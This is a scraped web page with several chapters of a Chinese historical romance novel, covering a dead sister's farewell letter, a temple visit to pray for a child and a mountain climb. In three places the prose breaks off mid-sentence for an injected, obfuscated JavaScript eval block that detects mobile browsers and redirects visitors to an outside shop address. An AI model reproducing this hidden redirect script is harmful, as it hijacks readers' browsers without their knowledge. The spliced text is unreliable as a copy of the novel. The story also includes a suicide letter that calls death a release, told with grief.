徐默安却好像早知道一般,笑道:“她果真留下了这么一本笔记。” 南有音不解的看着二哥。 徐默安解释道:“过去我奉命修史,她时常来找我,她好像很喜欢前朝的一位皇帝,总与我说起,言语中难免向往之情,那位皇帝也曾留下一本笔记,我便猜她也会。” 他又问道:“她在笔记上都写了什么?” 南有音不假思索地答道:“满纸寂寞。” 徐默安轻轻一叹,垂下眼眸道:“……同我想得一样。” “你知道?” “当然,”徐默安说道,“我是相信她所说的,她必然来自另一个时空,只是我永远无法明白。” 南有音忍不住问道:“二哥,你明白三姐姐说的‘电脑’是什么吗?” 徐默安温和地摇摇头,遗憾道:“倘若我懂,静祺也就不至于‘满纸寂寞’了。” “那你为什么愿意相信她是另一个时空的呢?” “你呢?” “我只是觉得她与世人不一样,有些想法,大概只有另一个世界的人才有勇气说出来。” “我也这样想的,”徐默安缓缓说道:“譬如静祺说‘人死如灯灭’,她说在她原先那个时空大家都是这样想的,司空见惯,但我第一次听到时实在震惊,对待生死分明应是‘事死如事生’,静祺又说她那个时空,人死后尸体会被大火焚烧,着实难以想象……” “静祺很爱说话,她迫切地想找到一个能明白她的意思的人,为了这句‘人死如灯灭’,我和她辩论了好几天,”徐默安有些怅然道,“其实那个时候我就该看出她心存死志了,她说轮回之事,鬼魂之事,皆是虚妄,我说若真如此,人活一世,岂不虚无,她说身灭神灭,那才是一种彻底的解脱……” 徐默安苦笑一下:“我倒也想不到她当真投湖,人死灯灭,彻底解脱了。” “我与她辩论过这一问题,好几次她都几乎要说服我了,”徐默安说道,“只是后来我看到祠堂里她的牌位,便再也不愿信所谓人死灯灭,总想着世上有鬼魂神仙之说也不错,若她变成了鬼魂,说不定哪天还能再见面呢。” 徐默安轻轻叹了口气:“不只是生死鬼神之事,还有其他更为琐屑的事,静祺总是与我们想的不一样,我们觉得理所当然的事,她却视为洪水猛兽。满纸寂寞,满纸寂寞,也难怪呀,唉……” 他声音忽而有些苍然:“洪流中的砂砾是跳不出洪流的。” 南有音茫然:“什么?” 徐默安望着香炉上袅袅青烟,微微一笑,指了指桌子上的镜子,镜子里倒映着一切。 南有音没明白。 徐默安摇头:“空空如也。” 南有音愣愣的,又喝了一阵茶,起身欲走,却被徐默安叫住了。 “有音,你知道寂宁曾经大病三年吗?” “我当然知道,”南有音嘟囔道,“若非当初寂宁病入膏肓,钦天监的人提出了八字相连之说,否则凭我爹的出身官职,门不当户不对,怎么可能嫁到你们家……” 徐默安听出了南有音语气里的一点不满,笑道:“有音,你该不会后悔了?” 南有音眨眨眼,俏皮又含糊道:“唔,可能有那么一点点吧。” “寂宁变了,有音,你发现了吗?”徐默安说道,“兴许是因为你。” 南有音没说话。 “过去除了静祺,其余人的话他都听不进去,”徐默安又说道,“但你不一样,静祺都无法让他明白的事你可以让他明白。所以,我想请求你一件事。” “什么事?” “虽然静祺去世已经四年了,但寂宁一直……你看得出来吧,他不愿意面对,”徐默安苦笑道,“我和大哥连自己也无法宽慰,自然也无法宽慰他,所以只好请你帮帮忙了。” 南有音想起徐寂宁提到三姐时的张皇与颤抖,心下微微一软,问道:“可是我要做些什么呢?” 徐默安注视着南有音,轻声道:“若死后有灵,她会告诉你的。” 南有音没有搞清楚徐默安的意思,但徐默安告诉她,徐静祺去世前留下了许多信,有留给他的,也有留给大哥,但一直未曾找到留给徐寂宁的。 她回到院子,望着那个巨大的装满话本子的竹箱子出神。 里面藏着徐静祺的笔记,或许,也藏起其他的? 当竹箱被彻底搬空时,南有音发现了一个竹筒,里面有一卷纸,是一封写给徐寂宁的信。 徐静祺生前给徐府的所有人都留下了一封信,藏在他们会发现的角落。 松梯说三小姐在她的床单下放了一封信,三小姐知道她干净仔细,过不了几天就会洗一遍铺盖,徐默安说他在他最爱翻的一本书里找到的信,三妹知道他最放不下的是哪本书。 徐静祺把留给四弟的信藏在了他们一起收集的话本子底下,她一定觉得徐寂宁会重新回到这个院子,带走二人珍藏的宝贝话本子,却不想自她死后,徐寂宁一病不起,病榻缠绵,从未踏足。 “你知道吗?我找到了一封她留给你的信。”南有音对失魂落魄的徐寂宁说,“她早早就做好打算了。” 徐寂宁接过那卷纸,手却哆嗦地不行,几乎快要将那脆弱的纸张撕裂。 南有音坐在他身边,握住了他的手,干燥而温暖的触感自手背处传来,止住了他的颤抖。 她牵着他的手打开了那卷纸,洋洋洒洒的字迹,铺面而来的哀切。 三姐说她放心不下四弟,唯有他年纪最小,最为执拗天真。她说她的思想言语不容于世,可她又对四弟说过太多,四弟不如二哥聪慧,也不似松梯一般淡和。 “寂宁,我过去总是在你面前言说种种。可如今我希望你永远不要以我说的为准,你是现世的人,而我来自未来,我实在是深刻体会到时空的鸿沟无法跨越…… “你曾说过不结婚与我在一起周游河山,我听了很高兴,但也知道那是你孩子气的话,你总是太天真了,不懂男女情爱与其他爱恋的区别,寂宁,慢慢长大吧,如果足够幸运,你会找到真正两心相许的爱人,但我,唉,你别怪我,我看不到那一天了……” “你不要把我的死亡归结到不愿与薛家结亲或者其他,我只是太孤单了。没有人明白,你也不懂我所说的,这种空长一张嘴无法让人理解的感觉太痛苦,这种寂寞无法忍受……” 徐寂宁的手颤地更厉害了,连带着浑身上下也颤抖,声音更是破碎:“都怪我,我一直不明白三姐……” “没有的,徐寂宁,”南有音揽住了他的肩膀,低声道,“你继续往后看,三姐姐她都知道的……” 徐静祺的信里继续写到:“我始终做不到真正麻木,我的心在另一个时空,我无法留在这里,寂宁,但愿你能够听从自己的心意吧……” “你千万不要为我的死而愧疚或者自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445827|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责,你不明白我的话或者我的意思并不是你的错,只是时空的隔阂无法跨越,或许很多年后,你的子孙会懂我说得那些奇奇怪怪的话。寂宁,这些年还好有你,否则我会更孤独的。你也不必为我伤心,不管你信不信或者理不理解,但与我而言,我选择的是解脱……” 南有音感受到怀里的人渐渐停止颤抖了,她松开徐寂宁,接着听到了很微弱的一声呜咽,她递上了手帕。 在一个徐寂宁意想不到的夜晚,他终于非常突兀地面对了他在心底不愿去回想的事实,也非常突然的得到了意想不到的答案。他曾怪她不告而别,困惑她何至于此,恨自己无能为力,而今一切豁然开朗,那是她亲笔写的信,来自四年前的信,写给未来的他的信,原来三姐从来不责怪他不懂,原来三姐觉得那是解脱。 徐寂宁继续垂眸阅读。 “……我口中的未来与你而言缥缈虚无,你总归是现世的人,要为了仍旧活着的、爱你的人活着,或许遵循现世的法则能够更为轻松。我对你说了太多未来,似乎使得你有些悬浮半空,不过也没关系,我想现世总有人能将你拉回地面的……” “但是寂宁,我那些未来的理论并非完全没有道理,可我也不知道那一条值得你遵守,你跟随自己的心吧,忠诚于它,听听你的心声,它亦会为你指路、解惑……” 随着最后一个飞舞张扬的文字飞入徐寂宁的心扉,三姐离世所留下的伤痕终于被填补,那惨烈的疼痛停止了尖叫,裂痕的心脏能够重新承载。 他小心翼翼地将纸重新卷了起来,放回竹筒,南有音关切的望着他,他冲她笑了笑,他想日后再提起三姐,他也可以从容以待了。 “有音,谢谢你。”他注视着她说道。 南有音见他眉头舒展,倒也松了口气,随便道:“没什么,为朋友排忧解难,理所当然。” 朋友?徐寂宁觉得心脏不舒服的缩了一下。 他想到三姐说听从心声,于是他握住了南有音的手,又重复了一遍:“有音,谢谢你。” 他觉得好像还不够,于是抱住了她,又一次感谢。 南有音被突发的变故搞得很懵,她轻轻拍了拍徐寂宁的肩,示意他松手,天色不早,该睡了。 徐寂宁松开手,脸却很红,南有音忍不住笑了他几声。 一直到半夜躺在床上,徐静祺在笔记里留下的文字仍然萦绕在南有音的脑海,有些她全然看不明白,有些她似懂非懂,有些震耳发聩。 “徐寂宁,”她捅了捅身侧同样没有睡着的人,忽然说道,“如果以后我有了女儿,我要让她自由的活着,就像三姐姐笔记里写得那样自由。” 徐静祺笔下描绘的另一个世界,无比地轻盈,好像梦里一样。那个世界的人有办法治愈各种疾病,人人都可以识字读书,可以自由地相爱,选择人生的方向…… “我要让她自由地活着,她想学什么就学什么,像骑马便学骑马,想练武就练武,她不想嫁人,就可以一辈子不嫁人,她若是喜欢谁,我也不会阻拦……就像三姐姐描述的另一个世界一样自由。”南有音一边畅想,一边喟叹,或许是在叹息并不快乐的童年时光,也或许是在叹息后来的命不由己,“如果我有孩子,我一定不会叫他们同我小时候一样。” “孩子……”徐寂宁轻声道,这两个字眼好像叫他很是头疼。 南有音也很无奈:“唉,太太只要见到我,明里暗里地就说要抱孙子。我说虽然我喜欢孩子,但我也不想让他们出生在一个父母之间缺少感情的家庭,但太太却说,生儿育女是我的职责与价值,我不知道怎么说了……” 徐寂宁猛地坐了起来。 南有音一惊:“呃,你怎么啦?” “有音,”徐寂宁在黑暗中直勾勾地注视着南有音,“你的价值不会只是生小孩儿的,、你还记得我刚回来时说要告诉你一个好消息吗?那就是你写得话本子卖出去了,你一提三姐,我就给忘了……” 68. 扶摇 徐寂宁带来的好消息是关于南有音写于岭南途中的话本子,他跑了几家书铺,到有一家不计较作者名气,愿意收了,只是不愿意出高价,徐寂宁犹豫一番,只将那本《结同心白首相见终不识》卖了,得了十两银子。 “这是得来的钱。”徐寂宁将银两堆在南有音面前,银光闪闪的,映地她眼睛亮亮的。 “十两银子!”南有音两眼放光,摸了一块银元在手里掂量,那种沉甸甸的分量感让她觉得无比安心。 “只是十两,”徐寂宁不甚满意地摇摇头,“我觉得你写得话本子远不止这个价格,不过我与书铺老板说好了,若是这一次的话本子销量好,下次再去就六四分成。” “十两银子也好,一两也好,甚至一吊钱也行,”南有音手里攥着银元宝,激动道,“总之,我能赚钱啦!” 徐寂宁道:“你赚钱做什么,只徐府祖上传下来的东西,就够你用上几辈子了。” 南有音想了一下,又说道:“好像也不是赚钱不赚钱的,就是我终于找到一个——” “该怎么说呢?”她歪着脑袋思索道,忽而灿然一笑,“对啦!是找到了一个证明我的价值的渠道!太太和母亲总是催我快点生孩子,有一次我循着你告诉我的,跟太太说府中女人的价值不应该只是生儿育女——” 南有音骤然停住,望着徐寂宁道:“其实这句话应该也是三姐姐说的吧?” “是她说的,为了反驳母亲要她嫁人……”徐寂宁点了点头,又说道,“她也对我说过,恳请我在日后,尊重、敬重我的妻子,对她平等以待。” 他垂下眼帘,心里不太确定自己有没有做到。 南有音则继续说道:“当时我用你说得话去堵太太,但太太地反驳叫我无话可说。那时我也被她说服了,后来你回家之后,我还跟你说,你当时好像还不怎么乐意,说我见识浅薄,真气人,于是我问你那我的价值在哪里,你又说不上来!” 南有音提起往事有些义愤填膺,徐寂宁底下头,小声道歉:“抱歉,有音,那个时候我……可能像你说得那样,太高高在上了,我会改的。” 他还记得那日南有音生气又委屈的模样,一双眼睛黯淡没有神采,像两颗浑浊的玻璃珠。 “还好啦,”南有音倒也不怎么在意过去的事,说道,“当时你还安慰我说我可以学会骑马,然后去很远的西域呢。你记得吗?我还问你会不会陪我去呢。” 徐寂宁几乎不假思索道:“我会陪你。” 南有音很开心道:“你能这么说我可高兴啦,之前我想不到什么办法能一个人去那么远的地方,手里也没有钱,所以我只好问你愿不愿陪我去。你当时答应我了,但我也知道,你又不怎么喜欢我,我也不想勉强你,更何况你还要忙朝廷的事,那会有那么多闲工夫,我可不想等你七老八老不做官儿了再到处玩。” 南有音捧着银钱,眼睛闪过商人一般精明的光泽,笑意盈盈:“但是现在,我可以自己赚钱啦!虽然少,但好歹是我自己赚的。” 她扭头对徐寂宁说道:“说不定日后我可以不用依附你啦,只要我有了钱,我就可以自己走遍四方了!” 徐寂宁见到南有音开心,自己也挺为她高兴,但心底仍由不住有一点落寞,像是一场毛毛雨。 他忍不住问道:“如果到时候我也想去怎么办?” “那就更好啦!这样我就不用孤零零一个人了,”南有音沉浸在自己的幻想之中,轻快地说道,“你可以作为朋友跟我一块去。” 徐寂宁轻微地点了点头,小声道:“走之前我肯定会准备好的,不会再让你像去岭南一般受苦了。” 南有音却笑道:“这些都是后话啦,现在我还没攒够银子呢,而且你跟我到处游玩的话,不当官啦?” 徐寂宁神情有些闪烁,给不出确切地答复。 今日他面见皇帝,问起岭南赋税改革一事,皇帝含糊其词,只说他此前呈递的奏折有些漏洞,叫他再做修改。 这不是他头一次与皇帝提起这事了,皇帝的态度始终模棱两可,饶是他在官场再不开窍,他也看出来了,皇帝对他的提议毫无兴趣。 他是没忍住为了岭南百姓分辨几句,皇帝却问他知不知道岭南永安王定了几条罪名。 他在刑部当差,当然知道,一条一条呈上。 其中第一条是谋逆,第五条是越权行事,不遵朝廷规制。 皇帝阴沉道:“你知不知道罪名里第五条是什么意思?永安王在岭南施行的赋税法是越权行事,你现在让朕依照永安王的赋税法修改税制,岂不是变相承认永安王没错?” 皇帝地眼睛探究着他,乌黑的瞳仁,密不透风。 徐寂宁却说罪名是陛下安置的,为了岭南的百姓,第五条罪行删了也无妨,况且永安王…… 他小心翼翼瞄了皇帝一眼,看不出喜怒,继续说道:“况且永安王爱民如子,在位期间做了许多有益百姓之事,变更税制便是其一,何不将功抵过,免了他这条罪名,也令岭南众人得以安心。” 皇帝眯起眼睛,他分明没有动,但威压却让徐寂宁额角冒汗,使他很滑稽地无端想起了自家母亲。 “徐卿,你这是又在为岭南的罪人求情。”皇帝声音阴恻恻的,“我说过的,谁再为他们求情,就与他们一样的死罪。” 徐寂宁心头一揪,但砍头的恐惧还没来及蔓延至全身,皇帝就先笑了,他站起来,亲切地拍着徐寂宁的肩膀,朗声道:“徐卿,你年轻有为,将来必为肱骨,朕怎么可能杀你呢!你在岭南立下大功,朕可一直很看好你。” 从岭南回来之后,徐寂宁的仕途确实忽然无比畅快。 皇帝开始说他有功,称赞他是少见的年少有为,词句中满是赏识,甚至隐约暗示许他高位,说什么门下侍郎里一位快到了致仕的年纪了。 徐寂宁不得不承认皇帝很有手段,几句话勾得他对权利起了欲望。 从岭南回来之后,伴随着皇帝的青眼,他在朝廷的地位仿佛也水涨船高起来,过去排挤他的官员忽然对他殷勤有礼,甚至也开始有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445828|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人绕过父亲徐朗,专程送礼结交他了。 最近朝堂上的一帆风顺确实让徐寂宁有点飘飘欲仙,他觉得自己有点被绕进漩涡里了。 他已经忍不住想倘若官阶更高,权利更大,他也就不至于在朝堂人微言轻了,他会有更多的方法或者手段,去实现他幼时读书所学的忠君为民,为天下万民谋得更多福祉,绝不至于像当今几位大人那般尸位素餐。 但他有时候也会想,他所想得会变成现实吗? 他确信现在那些身在高位满头华发的官员里,在同他一样的年纪里,一定有着同他一样的想法,只是不知道什么缘故,当真到了少时梦寐以求的高位时,却抛弃了少时一片赤热的理想。 他想起南老爷南晨颂的话了,南晨颂说朝堂是一片泥泞不堪的烂泥,最好不要踏足染指。 徐寂宁沉沉叹了一口气,告诉玉振的事有些眉目了。 他突然提起这事,叫南有音小小惊讶了一下:“你真给他想法子去了?” “嗯……” 虽然这种找些关系为亲戚子侄某个闲差的事在京城已经是见怪不怪了,但徐寂宁自己去做,总觉得有点不自在。 “徐寂宁,你怎么会答应给玉振找一个差事呢?”南有音问道,“你过去一直不愿意的。” 徐寂宁眼睛里闪着疲惫的光泽,轻声道:“因为你啊,有音。” “我?”南有音警觉起来,“你不要把锅甩到我的头上,我可没有逼你。” “我知道,”徐寂宁抿嘴微微笑了一下,“是我自愿的,只要你想的,我都愿意去办。” 南有音心下一颤,脸上仍流露出些许茫然:“为什么?” “在岭南你救过我多少次了,”徐寂宁道,“我总该报答。” “因为这个啊……”南有音对这个所谓报恩的答案不怎么满意,甚至莫名有那么一点点失落。 她忽然产生一个邪恶的念头,坏笑着问道:“徐寂宁,为了救命之恩,我想要的你都会答应吗?” 徐寂宁认真道:“我会尽力的。” “那如果我要为害一方,祸国殃民呢?”南有音有些好奇,“你会帮助我吗?” 徐寂宁摇摇头:“你不会变成那样的人。” 南有音不依不饶:“你想象一下,假如呢?” 徐寂宁眉头皱起来了,好像真的在认真思考,他想了很久,最后说:“我想不出来。” 南有音为他匮乏的想象力感到遗憾,换了一个说法:“假如我想要变成一个鱼肉百姓的大坏蛋呢?” 徐寂宁好像纠结了一番,最终咬了咬嘴唇,说道:“那我会阻止你,然后,想别的办法满足你。” 南有音轻微地松了口气,徐寂宁的答案说明他不至于因为她放弃理想抱负,她不希望岭南的生死相依会成为徐寂宁的负担。 徐寂宁却冒出另一个荒唐到可笑的念头,如果皇帝是鱼肉百姓的…… 他猛地止住这个念头。 烛火照映在他的眼睛中,闪了闪,黯淡了。 69. 重阳 秋分过后,太阳的威力渐渐减弱,天气凉快下来,秋高气爽,万里无云,天气好到叫人在屋里待不住。 到了九九重阳节,徐夫人说要去南郊的竹源寺上香,顺便也把南有音的母亲南夫人和弟弟南玉振接到徐府同行。 一早徐府的马车就出发了,徐夫人和南夫人在前面,后面跟着徐夫人的侍女等,中间是南有音与松梯,也不知道怎么安排的,让徐寂宁与南玉振同坐了一辆马车。 不知道两人在车上说了些什么,总之到了寺庙门口下车时,两人脸色都不咋样。 竹源寺建在山脚下一片竹林之中,翠竹幽林,静谧安宁。 南有音跟在徐夫人身后,走过鹅卵石小道,踏入寺门,红墙黑瓦,诵经声阵阵。 僧人早课结束后,寺内主持前来迎接,与徐夫人交谈几句后,便有年轻僧人引着众人往正殿去。 大家跟着徐夫人净手焚香,而后在蒲团上虔诚叩首,正殿拜完,而后是两侧偏殿。 徐夫人把一束香塞进南有音手里,又把她与徐寂宁推到送子观音前面,烟雾缭绕中,两人缓缓跪下,拜了又拜。 起身时南有音瞥见母亲与徐夫人含笑对视,瞬间顿悟了他们来到竹源寺的因由,大概并非秋高气爽踏青拉进两家关系,而是为了求子。 似乎是为了印证南有音的推测,徐夫人与南夫人又一人拿出一根红线,分别递给徐寂宁与南有音。观音像下面有许多泥塑胖娃娃,两位太太催着南有音与徐寂宁一人拴一个。 南有音倍感无奈,选了一个胖乎乎的泥娃娃,在它腰上系了蝴蝶结,她是盼着出来玩的,没想到两位太太给她安排了这一出。 上完香,众人便到禅房喝茶休息,听僧人讲了一阵经,玄妙的经文听得众人仿佛镜中,一时都忘了凡尘事。 午后在寺内用斋,饭后闲谈,徐夫人与南夫人最初还谈论轮回生死之事,但不知怎么,说着说着,就说到了南有音与徐寂宁身上,两人拿起那两个拴着红绳的泥娃娃端详,谈起了那个老生常谈的话题——希望他们早点生小孩儿。 徐夫人:“我此前听说竹源寺求子观音特别灵验,这次来,特意多带了些银两香火供养,只盼着菩萨保佑,叫我早日抱上孙辈。” 南夫人也笑道:“我也这么想的,倒也不论男孩女孩,总之先生一个,家里多添口人,阿音再回娘家时带着娃娃也热闹些。” 母亲与婆母一人一句,虽不是对着南有音说的,也听得她坐立不安。 徐夫人与南夫人越说越起劲儿,南有音绞尽脑汁寻思若两人忽然点她,她该如何应对推脱。 她实在没有借口解释她与徐寂宁为什么迟迟没有生小孩了,诸如“我们是朋友”、“我和徐寂宁没什么感情”之类的理由显然说服不了两位太太。 她绝望地等着两位长辈点到她头上,手心冒汗,忽然徐寂宁轻轻触了触她的手背,仿佛在安抚。 她望过去,徐寂宁微微一笑,示意她不要担心,接着他趁着两位太太喝茶的间隙,轻咳了一声,说道:“今日天气甚好,恰逢重阳,理应登高望远,竹源寺背靠高山,大家不如便趁此机会活动活动筋骨。” 徐夫人与南夫人表示年纪大了,爬山登高这种事还是年轻的去吧。 于是南有音趁此机会脱身,走出阴凉的禅房,耳边没有人唠叨小孩的事了,她沐浴在阳光下,长舒一口气。 竹林将阳光分割,投下一片又一片竹叶的影子,她发现徐寂宁身上穿得那件淡绿衣服上也绣着竹子的花纹。 竹叶,竹叶的影子,衣服上的刺绣,竹林聚集在徐寂宁身上,南有音的视线汇聚在竹林上。 “呃……有音?”徐寂宁被盯得不自在,“怎么了吗?” “没怎么,”南有音回神,轻快道,“只是觉得今天你这一身格外好看。” “穿得绿油油地像个葱有什么好看的?”南玉振非常不解风情地刻薄道,在看到南有音气鼓鼓地样子后又急忙补充道,“不像我姐姐,穿什么都光彩照人。” 松梯悄悄拉了拉他的衣摆,示意他少说两句,他则满不在意,俏皮地吐了吐舌头。 众人在竹林光影穿梭,来到竹源寺后的山前,这座山没有一个确切的名字,附近人管这座山就叫“青山”,初秋天气仍然苍翠一片,森森柏树,茂密郁然。 走到入山口处,入眼就是一趟陡峭台阶,一眼望不到头,粗略估计有百十阶。 南有音与弟弟对视一眼,跃跃欲试,却忽然听到身边传来一声愁苦地叹气声。 徐寂宁望着穿入云端的阶梯,两腿打怵。 南有音忍不住打趣道:“要不我背着你?” 不巧南玉振听到了姐姐的话,翻了一个白眼,阴阳怪气道:“金枝玉叶的徐公子还是在山下等着我们吧。” 徐寂宁充耳不闻,仿佛看不到南玉振这个人一样,仍是一脸温和,对南有音道:“咱们走吧。” 南玉振冷哼一声,忽然灵光一闪,坏笑道:“姐姐,咱们比比看,是我和松梯先爬上去,还是你们两个先爬上去,你说怎样?” 话音刚落,不等南有音回应,南玉振就拉着松梯,五步做三步的往山上冲。 “南玉振——”南有音恨恨一跺脚,冲着弟弟背影喊道,“你这是故意的,你明知道徐寂宁脚力不行!” 南玉振头也不回继续跑,南有音只好又喊道:“松梯!你走慢一点,别叫玉振得逞——” 台阶上远远地传来南玉振地声音,像是故意喊给南有音听的:“松梯,你别听她的——” 南有音气道:“她不听我的,难道听你的?” “松梯是松梯,不需要听你的也不需要听我的,她想怎样就怎样——”南玉振的声音又传了下来,他脚步不停,又说道,“松梯,你要是爬不动了,我可以背你。” 南有音听出南玉振这是在故意挤兑徐寂宁呢,哼了一声,扭头对徐寂宁说道:“别理他!” 徐寂宁微笑道:“好。” 南玉振和松梯的身影灵巧轻盈,衣袂翩飞,很快消失不见,只剩下南玉振狂放的笑声依旧回荡在山林中。 “走吧!”南有音跳上两三节台阶,转身对徐寂宁笑道,“咱们也快点啦!” 南有音在前面跑,徐寂宁在后面追,阳光透过树荫,两人的身影在斑斑驳驳的光影里,在山雀的叫声中,也在带着青草与泥土气息的山风中。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445829|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 行过一段路程,徐寂宁越走越慢,南有音不得不停下来等他,数次走走停停之后南有音终于厌倦了,抱着胳膊埋怨道:“徐寂宁,你好慢啊。” 因为爬山,徐寂宁两颊微微发红,听到南有音的话后,擦了擦鼻尖的汗,有点窘迫又有点别扭,小声道:“那你先走好啦。” “好吧,”南有音爽快地摆摆手,“那山顶见啦!” 说完南有音想兔子一样跑了,身影消失在峰回路转的山道上,只剩下徐寂宁望着她的背影,心底一阵空落落的。 徐寂宁叹了口气,从路边捡了一根树枝当作拐杖,慢吞吞地往山上挪,走到半山腰,就远远看到一个姑娘蹲坐在路边的石头上,托着腮看天上为数不多的云朵。 徐寂宁小小欢欣一下,遥遥喊道:“有音——” 他的声音撞上山石,回荡在寂寂空山。 南有音从漫长地发呆中回过神来,站起来冲下面的徐寂宁挥手,等着他爬上来,但又觉得他慢,便自己蹦蹦跳跳下去接他去了。 南有音笑眯眯迎上来:“我等你好久了。” “不是说山顶见吗?”徐寂宁笑道,“你怎么半路停下了?” “一个人爬山,快是快,但是无聊。你知道吗,刚刚我看到了一只超大的蜥蜴”南有音兴奋地伸手比划了一下,“背上是红色的,可稀奇啦,可惜你不在,我没人分享,所以觉得还是等你好啦,至少可以有个人说说话。” 徐寂宁温和笑道:“好,那我走快点,跟上你。” “倒也不用太快。”南有音低着头踢走了眼前的一块小石头,“一个人走无聊,两人的话,慢慢走,就能说好多话。” 她慢下脚步,放弃了追逐南玉振的念头,与徐寂宁慢慢地爬山,说说笑笑,顺手摘了一兜野山莓,吃得嘴唇和牙齿都被染成了紫色。 徐寂宁见南有音吃得很香,也想尝尝,南有音义正言辞地拒绝了:“最好别冒险了,我还记得在岛上的时候,几颗野果子差点要了你的命。” 徐寂宁恹恹地打消了这个念头,从怀里掏出手帕,下意识抬手,想要擦去南有音的嘴上果汁。 月白色帕子贴近南有音饱满的双唇时,徐寂宁望着南有音倒映着自己的大眼睛,莫名有点心乱。 只是犹豫了一瞬,帕子就被南有音夺取了,她毫不客气地擦了擦嘴,将月白色的帕子染成了紫红色。 “洗不出来了。”她抖了抖帕子,些许遗憾,一抬眼,就看到徐寂宁在温和地笑。 “怎么了?你笑什么?”她奇怪道。 “要是现在有镜子就好了,”徐寂宁接过南有音手里的帕子,折叠出干净的一面,轻轻擦拭南有音的嘴角,忍不住笑道,“你现在这个样子,好像小花猫。” 手指隔着一层丝帕触碰到肌肤的感觉很微妙,南有音微微仰起脸,认真注视着细心为她擦去唇边果渍的徐寂宁。 徐寂宁感受到那种热烈的目光,他不由自主的被吸过去了。南有音与他目光相撞,他慌乱地迅速挪开了视线。 “喵——”南有音懒洋洋学了一声猫叫,伸长舌头,舔了舔徐寂宁的手指,然后顽劣地看着他无辜又不知所措的模样放声大笑。 70. 山顶 南有音拉着徐寂宁爬到山顶后,映入眼帘的是一座灰墙黑瓦的道观,静静隐藏在摇曳碧绿的丛林之中。 山顶很凉快,风吹过,道观屋檐上的风铃发出轻微的响声,与山中鸟鸣相互唱和。 “进去看看?”南有音对气喘吁吁,扶着大腿喘息的徐寂宁说道。 “好。”徐寂宁希望能进去坐下喝点茶休息一下。 道观里面也静悄悄的,进门之后是一个巨大的香炉,袅袅青烟缥缈如纱。 之后又是一串长长的台阶,两边是分别长有两人都无法合抱的银杏树,扇子形的叶片缓缓飘下,落在缝隙中生满了青苔的台阶上。 在寂静空荡的道观中,南有音不由自主地放轻了声音,放轻了脚步,拉着徐寂宁一步一步登上台阶,抵达正殿。 正殿散发着轻微的檀香味道,烟雾缭绕着满殿神佛。 南有音本想进去拜一拜,却在门槛前停下了,在淡淡烟雾中,她看到了慈悲神像前金色的蒲团上跪着两个熟悉的身影。 松梯闭着眼睛,虔诚地许愿,南玉振在她的左侧,悄悄注视着她,嘴角噙着笑,仿佛在数她眼上的睫毛。 松梯似乎察觉到了南玉振的目光,她疑惑地看了他一眼,似乎在责怪他不够虔诚。南玉振敛起笑容,认认真真地学者松梯的样子向着神像许愿。 穿过竹窗的光束掉落在两人身上,尘埃在光束中飞舞,南玉振与松梯在光束中安静的叩首。 南有音与徐寂宁悄悄走开了,绕到正殿侧面的亭子,又问道观内的老道士讨了一壶茶水喝。 南有音端起玲珑秀气的茶盏,闻了闻,看了看,尝了尝,而后不太确定的得出结论:“九曲红梅?” “咳咳——”徐寂宁被呛到了,他满脸难以置信,“怎么可能是九曲红梅,你好好尝尝,这分明是君山银针。” 南有音又细细品了品,一盏一盏喝下去,除了觉得满口余香,其余的一点也没感觉出来:“好像也没什么差别吧……” 徐寂宁认为南有音的舌头迟钝到不可救药,他轻叹一声,温声细细讲起两种茶的色香味的差别,说起产地起源,制作工艺的差别。 徐寂宁说得温和细致,南有音也听得认真,只是听完了再尝,仍然没觉出差别。 她吐吐舌头,似乎颇感遗憾:“我真的尝不出有什么区别。” “无妨,”徐寂宁温和宽慰道,“你尝不出来,那我就说给你听好了。” 南有音想了想,下令道:“好吧,从今往后,你的舌头就负责品尝各种精细的玩意儿,然后你的嘴唇,就负责告诉我他们的区别。” 徐寂宁微微一笑:“乐意效劳。” “松梯与玉振应该拜完了吧,”他又说道,“我们也去神像面前许愿吧。” 他们再转到正殿时,南玉振与松梯已经不见了,大殿里空空荡荡,透过朦胧烟雾,满墙彩塑栩栩如生,彩带飘摇,琵琶有声。 南有音仰头看着大殿上垂眸慈悲的仙人,心下不由得虔诚。 她与徐寂宁跪在蒲团上,双手合十,许下心愿,她没什么愿望,便不由自主地去看徐寂宁许愿。 徐寂宁跪得端庄,闭着眼睛,光流连在他的侧脸,停留在他的额角鼻尖,笼罩他的十指,使他整个人都散发着一层微薄的白光。 南有音看得呆呆的。徐寂宁感受到了那道不容忽视的目光,睁开眼睛,两人目光碰了一个满怀。 在神像前,南有音含蓄地微微一笑,徐寂宁也温和抿嘴一笑,而后两人很有默契地在神前叩首。 离开正殿,道观里静悄悄的,南有音捡了几片落下的银杏叶,徐寂宁也帮她捡了几片,结果那几叶小扇子,南有音好奇道:“徐寂宁,你刚刚许了什么愿望?” 